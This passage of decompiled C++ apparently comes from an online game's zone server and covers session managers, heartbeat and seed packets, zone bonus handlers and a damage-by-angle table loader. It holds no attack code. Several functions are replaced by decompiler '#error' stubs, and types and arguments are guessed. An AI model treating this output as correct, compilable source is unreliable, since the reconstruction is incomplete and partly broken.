v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (SHINE_XY_TYPE *)((char *)v7 + _Counta); v2->_Mylast = (SHINE_XY_TYPE *)((char *)v7 + 8 * v4); v2->_Myfirst = (SHINE_XY_TYPE *)v7; } } //----- (00440810) -------------------------------------------------------- #error "440810: undefined or illegal type '#585' (funcsize=235)" //----- (00440B50) -------------------------------------------------------- void __thiscall ClientSession::ClientSession(ClientSession *this) { ClientSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSession::_vftable_; } // 5AD770: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (00440B70) -------------------------------------------------------- void __thiscall ClientSessionNull::ClientSessionNull(ClientSessionNull *this) { ClientSessionNull *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSessionNull::_vftable_; } // 5AD780: using guessed type int (__stdcall *ClientSessionNull___vftable_)(int interval); //----- (00440B90) -------------------------------------------------------- void __thiscall ClientSession::_ClientSession(ClientSessionNull *this) { this->baseclass_0.baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0.baseclass_0); } // 5AD770: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (00440BA0) -------------------------------------------------------- void __thiscall ClientSessionManager::ClientSessionManager(ClientSessionManager *this) { ClientSessionManager *v1; // esi@1 v1 = this; ZoneBaseSessionManager::ZoneBaseSessionManager(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; } // 5AD790: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (00440BC0) -------------------------------------------------------- void __thiscall ClientSessionManager::_ClientSessionManager(ClientSessionManager *this) { this->baseclass_0.vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; ZoneBaseSessionManager::_ZoneBaseSessionManager(&this->baseclass_0); } // 5AD790: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (00440BD0) -------------------------------------------------------- int __thiscall ClientSession::CheckHeartBeat(ClientSession *this, int interval) { return ZoneBaseSession::CheckHeartBeat(&this->baseclass_0, 300); } //----- (00440BE0) -------------------------------------------------------- char __thiscall ClientSession::Send_NC_MISC_SEED_ACK(ClientSession *this, int seed) { char buffer[64]; // [sp+0h] [bp-44h]@1 *(_WORD *)&buffer[1] = *(_WORD *)&buffer[1] & 0x3FF | 0x800; *(_WORD *)&buffer[1] = *(_WORD *)&buffer[1] & 0xFC07 | 7; buffer[0] = 4; *(_WORD *)&buffer[3] = seed; return ZoneBaseSession::Send(&this->baseclass_0, buffer, 5); } //----- (00440C40) -------------------------------------------------------- char __thiscall ZoneListenSession::zls_TravelComplete(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock) { return startblock->machine >= 0xAu || startblock->machine == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; } //----- (00440C70) -------------------------------------------------------- #error "440C70: undefined or illegal type '#325' (funcsize=24)" //----- (00440CB0) -------------------------------------------------------- void __thiscall ZoneListenSession::ZoneListenSession(ZoneListenSession *this) { ZoneListenSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneListenSession::_vftable_; } // 5AD798: using guessed type int (__stdcall *ZoneListenSession___vftable_)(int interval); //----- (00440CD0) -------------------------------------------------------- void __thiscall ZoneListenSession::_ZoneListenSession(ZoneListenSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneListenSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5AD798: using guessed type int (__stdcall *ZoneListenSession___vftable_)(int interval); //----- (00440CE0) -------------------------------------------------------- ZoneListenSession *__thiscall OPToolSession::opts_ActivSession(ZoneListenSession *this, unsigned int SocketAccept, sockaddr *pAddr) { ZoneListenSession *v3; // esi@1 v3 = this; this->baseclass_0.m_Packet.vfptr->Clear(&this->baseclass_0.m_Packet); v3->baseclass_0.m_SocketIOCP.m_Socket = SocketAccept; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_family = *(_DWORD *)&pAddr->sa_family; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[2] = *(_DWORD *)&pAddr->sa_data[2]; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[6] = *(_DWORD *)&pAddr->sa_data[6]; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[10] = *(_DWORD *)&pAddr->sa_data[10]; v3->baseclass_0.m_Status = 2; return v3; } //----- (00440D30) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_PLAYERSUMMON_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); return result; } //----- (00440D90) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); *(_BYTE *)(this + 43) = *(_BYTE *)(a2 + 43); return result; } //----- (00440DF0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_DummyFunction(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneListenSession::zls_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail( &shineassert, "ZoneListenSession::zls_DummyFunction", (unsigned int)netcmd->protocol >> 10, netcmd->protocol & 0x3FF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_DummyFunction"); } //----- (00440EA0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"); } //----- (00440F70) -------------------------------------------------------- #error "440F70: undefined or illegal type '#325' (funcsize=164)" //----- (004411A0) -------------------------------------------------------- #error "4411A0: undefined or illegal type '#325' (funcsize=99)" //----- (00441300) -------------------------------------------------------- #error "441300: undefined or illegal type '#325' (funcsize=141)" //----- (004414E0) -------------------------------------------------------- #error "4414E0: undefined or illegal type '#325' (funcsize=102)" //----- (00441650) -------------------------------------------------------- #error "441650: undefined or illegal type '#325' (funcsize=120)" //----- (00441800) -------------------------------------------------------- #error "441800: undefined or illegal type '#325' (funcsize=83)" //----- (00441940) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( LOBYTE(netcmd[1].protocol) < 0xAu && LOBYTE(netcmd[1].protocol) != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) ZoneRingPacketExpBonus::zrpb_Request(&zonringpack_expbonus, 0, netcmd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"); } //----- (00441A00) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( LOBYTE(netcmd[1].protocol) < 0xAu && LOBYTE(netcmd[1].protocol) != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) ZoneRingPacketItemBonus::zrpb_Request(&zonringpack_itembonus, 0, netcmd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"); } //----- (00441AC0) -------------------------------------------------------- #error "441AC0: undefined or illegal type '#325' (funcsize=146)" //----- (00441CB0) -------------------------------------------------------- #error "441CB0: undefined or illegal type '#325' (funcsize=102)" //----- (00441E20) -------------------------------------------------------- int __thiscall ClientSessionManager::InitSessions(ClientSessionManager *this, int MaxSessions) { ClientSessionManager *v2; // esi@1 void *v3; // edi@1 ZoneBaseSession *v4; // ecx@2 void *v5; // eax@4 int v6; // ebx@5 int v7; // eax@7 int v8; // ecx@8 int v9; // edx@8 v2 = this; ZoneBaseSessionManager::FreeSessions(&this->baseclass_0); v3 = v2->csm_sock2client; if ( v3 ) { v4 = (ZoneBaseSession *)v2->csm_sock2client; *(_DWORD *)v3 = &ClientSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(v4); operator delete(v3); v2->csm_sock2client = 0; } if ( MaxSessions >= 1 ) { ZoneBaseSessionManager::InitSessions(&v2->baseclass_0, MaxSessions); v5 = operator new__(260 * MaxSessions + 4); if ( v5 ) { v6 = (int)((char *)v5 + 4); *(_DWORD *)v5 = MaxSessions; _eh_vector_constructor_iterator_( (char *)v5 + 4, 0x104u, MaxSessions, (void (__thiscall *)(void *))ClientSession::ClientSession, (void (__thiscall *)(void *))ClientSession::_ClientSession); } else { v6 = 0; } v7 = 0; v2->csm_sock2client = (ClientSession *)v6; if ( MaxSessions > 0 ) { v8 = 0; v9 = 0; do { v2->baseclass_0.m_pSessionListArray[v9].pSession = (ZoneBaseSession *)&v2->csm_sock2client[v8]; v2->csm_sock2client[v8].cs_sessionhandle = v7++; ++v9; ++v8; } while ( v7 < MaxSessions ); } } return 1; } // 5AD770: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (00441F00) -------------------------------------------------------- unsigned __int16 __thiscall DamageByAngle::DamageTable::operator__(DamageByAngle::DamageTable *this, int delta) { int v2; // edi@1 unsigned __int16 result; // ax@8 v2 = delta; if ( delta < 0 ) v2 = -delta; if ( v2 > 90 ) v2 += -180 - 180 * (v2 - 91) / 0xB4u; if ( (v2 >= 0 || (v2 = -v2, v2 >= 0)) && v2 <= 90 ) { result = this->dt_DamageRate[v2]; } else { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::operator [] : Invalid delta", v2); result = 1000; } return result; } //----- (00441F70) -------------------------------------------------------- void __thiscall DamageByAngle::DamageTable::dt_Load(DamageByAngle::DamageTable *this, Name4 *world, char *table) { int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 char v6; // bl@2 int v7; // eax@2 int i; // ebx@5 void *v9; // esi@6 bool v10; // zf@7 unsigned __int16 v11; // di@10 int v12; // edi@13 int v13; // edi@21 DamageByAngle::DamageTable *v14; // ebp@21 int j; // esi@26 ORToken v16; // [sp-28h] [bp-10934h]@6 int v17; // [sp-24h] [bp-10930h]@6 int v18; // [sp-20h] [bp-1092Ch]@6 int v19; // [sp-1Ch] [bp-10928h]@6 int v20; // [sp-18h] [bp-10924h]@6 int v21; // [sp-14h] [bp-10920h]@6 DamageByAngle::DamageTable *v22; // [sp+0h] [bp-1090Ch]@1 ORToken *v23; // [sp+4h] [bp-10908h]@6 char buf[32]; // [sp+8h] [bp-10904h]@1 char path[128]; // [sp+28h] [bp-108E4h]@1 OptionReader or; // [sp+A8h] [bp-10864h]@1 unsigned int cookie; // [sp+108FCh] [bp-10h]@34 int v28; // [sp+10908h] [bp-4h]@1 v22 = this; memset(this, 0, 0xB4u); this->dt_DamageRate[90] = 0; OptionReader::OptionReader(&or); v3 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; *(_DWORD *)&buf[4] = v3; v5 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[8] = v4; v28 = 0; *(_DWORD *)&buf[12] = v5; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/DamageByAngle.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Shine/World/DamageByAngle.txt"); v6 = OptionReader::or_Read(&or, path); v7 = OptionReader::or_ErrorLine(&or); if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Error in DamageByAngle.txt", v7); ShineExit("DamageByAngle::DamageTable::dt_Load"); } } for ( i = 0; ; ++i ) { v21 = i; v23 = &v16; v20 = 0; v19 = 0; v18 = 0; v17 = 0; *(_DWORD *)&v16.ort_Name[0] = 0; strncpy(v16.ort_Name, table, 0x14u); v9 = OptionReader::or_SelectFromOrder(&or, v16, v21); if ( !v9 ) break; v10 = *(_WORD *)v9 != *((_WORD *)v9 + 2); v23 = (ORToken *)(*(_WORD *)v9 == *((_WORD *)v9 + 2)); if ( v10 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : CheckSum Error", i); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v21 = *(_WORD *)v9; v11 = ShineRadian::sr_degree2sr(&shineradian, v21); v23 = (ORToken *)(v11 <= 0x5Au); if ( v11 > 0x5Au ) { v21 = *(_WORD *)v9; AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : angle must be in 0~180", v21); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v12 = (int)((char *)v22 + 2 * v11); if ( *(_WORD *)v12 != 0 ) { v21 = *(_WORD *)v9; AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Duplicate angle", v21); ShineExit("DamageByAngle::DamageTable::dt_Load"); } *(_WORD *)v12 = *((_WORD *)v9 + 1); } if ( v22->dt_DamageRate[0] <= 0u || v22->dt_DamageRate[90] <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : there must be 0 and 180", 0); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v13 = 1; v14 = v22; do { if ( !v14->dt_DamageRate[1] ) { v10 = v14->dt_DamageRate[0] <= 0u; v23 = (ORToken *)(v14->dt_DamageRate[0] > 0u); if ( v10 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Upper Bound not found", v13); ShineExit("DamageByAngle::DamageTable::dt_Load"); } for ( j = v13 + 1; j <= 90; ++j ) { if ( v22->dt_DamageRate[j] ) break; } if ( j > 90 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Lower Bound not found", v13); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v14->dt_DamageRate[1] = v14->dt_DamageRate[0] + (v22->dt_DamageRate[j] - v14->dt_DamageRate[0]) / (j - v13 + 1); } ++v13; v14 = (DamageByAngle::DamageTable *)((char *)v14 + 2); } while ( v13 < 90 ); v28 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00442290) -------------------------------------------------------- void __cdecl std::fill(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Val) { DamageBySoul::SoulDamateElement *i; // eax@1 DamageBySoul::SoulDamateElement *v4; // edi@2 for ( i = _First; i != _Last; *(_DWORD *)&v4->sde_DamageRateBySoul[6] = *(_DWORD *)&_Val->sde_DamageRateBySoul[6] ) { v4 = i; *(_DWORD *)&i->sde_DamageRateBySoul[0] = *(_DWORD *)&_Val->sde_DamageRateBySoul[0]; *(_DWORD *)&i->sde_DamageRateBySoul[2] = *(_DWORD *)&_Val->sde_DamageRateBySoul[2]; *(_DWORD *)&i->sde_DamageRateBySoul[4] = *(_DWORD *)&_Val->sde_DamageRateBySoul[4]; ++i; } } //----- (004422D0) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__cdecl std::_Copy_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { DamageBySoul::SoulDamateElement *v4; // ecx@1 DamageBySoul::SoulDamateElement *result; // eax@1 DamageBySoul::SoulDamateElement *v6; // edi@2 int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; *(_DWORD *)&v6->sde_DamageRateBySoul[6] = v7 ) { v6 = result; *(_DWORD *)&result->sde_DamageRateBySoul[0] = *(_DWORD *)&v4->sde_DamageRateBySoul[0]; *(_DWORD *)&result->sde_DamageRateBySoul[2] = *(_DWORD *)&v4->sde_DamageRateBySoul[2]; *(_DWORD *)&result->sde_DamageRateBySoul[4] = *(_DWORD *)&v4->sde_DamageRateBySoul[4]; v7 = *(_DWORD *)&v4->sde_DamageRateBySoul[6]; ++v4; ++result; } return result; } //----- (00442310) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__cdecl std::_Copy_backward_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { DamageBySoul::SoulDamateElement *v4; // ecx@1 DamageBySoul::SoulDamateElement *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; *(_DWORD *)&result->sde_DamageRateBySoul[6] = *(_DWORD *)&v4->sde_DamageRateBySoul[6] ) { --v4; --result; *(_DWORD *)&result->sde_DamageRateBySoul[0] = *(_DWORD *)&v4->sde_DamageRateBySoul[0]; *(_DWORD *)&result->sde_DamageRateBySoul[2] = *(_DWORD *)&v4->sde_DamageRateBySoul[2]; *(_DWORD *)&result->sde_DamageRateBySoul[4] = *(_DWORD *)&v4->sde_DamageRateBySoul[4]; } return result; } //----- (00442350) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__cdecl std::_Uninit_copy>(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { DamageBySoul::SoulDamateElement *v5; // ecx@1 DamageBySoul::SoulDamateElement *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->sde_DamageRateBySoul[0] = *(_DWORD *)&v5->sde_DamageRateBySoul[0]; *(_DWORD *)&result->sde_DamageRateBySoul[2] = *(_DWORD *)&v5->sde_DamageRateBySoul[2]; *(_DWORD *)&result->sde_DamageRateBySoul[4] = *(_DWORD *)&v5->sde_DamageRateBySoul[4]; *(_DWORD *)&result->sde_DamageRateBySoul[6] = *(_DWORD *)&v5->sde_DamageRateBySoul[6]; } ++v5; } return result; } //----- (00442390) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(DamageBySoul::SoulDamateElement *_First, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 DamageBySoul::SoulDamateElement *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->sde_DamageRateBySoul[0] = *(_DWORD *)&_Val->sde_DamageRateBySoul[0]; *(_DWORD *)&v6->sde_DamageRateBySoul[2] = *(_DWORD *)&_Val->sde_DamageRateBySoul[2]; *(_DWORD *)&v6->sde_DamageRateBySoul[4] = *(_DWORD *)&_Val->sde_DamageRateBySoul[4]; *(_DWORD *)&v6->sde_DamageRateBySoul[6] = *(_DWORD *)&_Val->sde_DamageRateBySoul[6]; } ++v6; --v5; } while ( v5 ); } } //----- (004423D0) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__thiscall std::vector>::_Ufill(std::vector > *this, DamageBySoul::SoulDamateElement *_Ptr, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00442400) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00442470) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val) { std::vector > *v4; // esi@1 int v5; // edx@1 int v6; // ecx@1 DamageBySoul::SoulDamateElement *v7; // edx@1 int v8; // eax@2 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // eax@25 DamageBySoul::SoulDamateElement *v15; // ecx@25 DamageBySoul::SoulDamateElement *v16; // ebx@25 DamageBySoul::SoulDamateElement *v17; // ecx@25 int v18; // eax@26 unsigned int v19; // edi@28 char *v20; // eax@30 char *v21; // edi@30 DamageBySoul::SoulDamateElement *v22; // eax@31 unsigned int v23; // ST28_4@32 DamageBySoul::SoulDamateElement *v24; // ST24_4@32 unsigned int v25; // edi@32 DamageBySoul::SoulDamateElement *v26; // edi@33 int v27; // [sp-Ch] [bp-34h]@1 char *_Newvec; // [sp+0h] [bp-28h]@25 DamageBySoul::SoulDamateElement _Tmp; // [sp+4h] [bp-24h]@1 unsigned int cookie; // [sp+14h] [bp-14h]@34 int *v31; // [sp+18h] [bp-10h]@1 int v32; // [sp+24h] [bp-4h]@25 int _Vala; // [sp+38h] [bp+10h]@25 DamageBySoul::SoulDamateElement *_Valb; // [sp+38h] [bp+10h]@31 v4 = this; v5 = *(_DWORD *)&_Val->sde_DamageRateBySoul[2]; *(_DWORD *)&_Tmp.sde_DamageRateBySoul[0] = *(_DWORD *)&_Val->sde_DamageRateBySoul[0]; v6 = *(_DWORD *)&_Val->sde_DamageRateBySoul[4]; *(_DWORD *)&_Tmp.sde_DamageRateBySoul[2] = v5; *(_DWORD *)&_Tmp.sde_DamageRateBySoul[6] = *(_DWORD *)&_Val->sde_DamageRateBySoul[6]; v7 = v4->_Myfirst; v31 = &v27; *(_DWORD *)&_Tmp.sde_DamageRateBySoul[4] = v6; if ( v7 ) v8 = v4->_Myend - v7; else v8 = 0; if ( _Count ) { if ( v7 ) v9 = v4->_Mylast - v7; else v9 = 0; if ( 268435455 - v9 < _Count ) std::vector>::_Xlen(v4); if ( v7 ) v10 = v4->_Mylast - v7; else v10 = 0; if ( v8 >= _Count + v10 ) { v22 = v4->_Mylast; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 4 >= _Count ) { v26 = &v22[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v22[-_Count], v22, v22, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(16 * _Count)); std::_Copy_backward_opt( *(DamageBySoul::SoulDamateElement **)&_Where, v26, _Valb, (std::_Nonscalar_ptr_iterator_tag)(16 * _Count)); std::fill( *(DamageBySoul::SoulDamateElement **)&_Where, (DamageBySoul::SoulDamateElement *)(*(_DWORD *)&_Where + 16 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(DamageBySoul::SoulDamateElement **)&_Where, v22, (DamageBySoul::SoulDamateElement *)(*(_DWORD *)&_Where + 16 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(16 * _Count)); v23 = _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 4); v24 = v4->_Mylast; v32 = 2; std::vector>::_Ufill( v4, v24, v23, &_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (DamageBySoul::SoulDamateElement *)v25; std::fill( *(DamageBySoul::SoulDamateElement **)&_Where, (DamageBySoul::SoulDamateElement *)(v25 - 16 * _Count), &_Tmp); } } else { if ( 268435455 - ((unsigned int)v8 >> 1) >= v8 ) v11 = ((unsigned int)v8 >> 1) + v8; else v11 = 0; if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; v11 = _Count + v13; } _Vala = 16 * v11; v14 = operator new(16 * v11); v15 = v4->_Myfirst; _Newvec = (char *)v14; v32 = 0; v16 = std::_Uninit_copy>( v15, *(DamageBySoul::SoulDamateElement **)&_Where, (DamageBySoul::SoulDamateElement *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( v16, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(DamageBySoul::SoulDamateElement **)&_Where, v4->_Mylast, &v16[_Count], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + _Count; if ( v17 ) operator delete(v4->_Myfirst); v20 = _Newvec; v21 = &_Newvec[16 * v19]; v4->_Myend = (DamageBySoul::SoulDamateElement *)&_Newvec[_Vala]; v4->_Mylast = (DamageBySoul::SoulDamateElement *)v21; v4->_Myfirst = (DamageBySoul::SoulDamateElement *)v20; } } __security_check_cookie(cookie); } //----- (004426D0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, DamageBySoul::SoulDamateElement _Val) { std::vector > *v3; // esi@1 DamageBySoul::SoulDamateElement *v4; // edx@1 signed int v5; // ecx@2 int v6; // ecx@6 DamageBySoul::SoulDamateElement *v7; // edi@10 DamageBySoul::SoulDamateElement *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = &v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = std::_Copy_opt( v7, v7, v8, 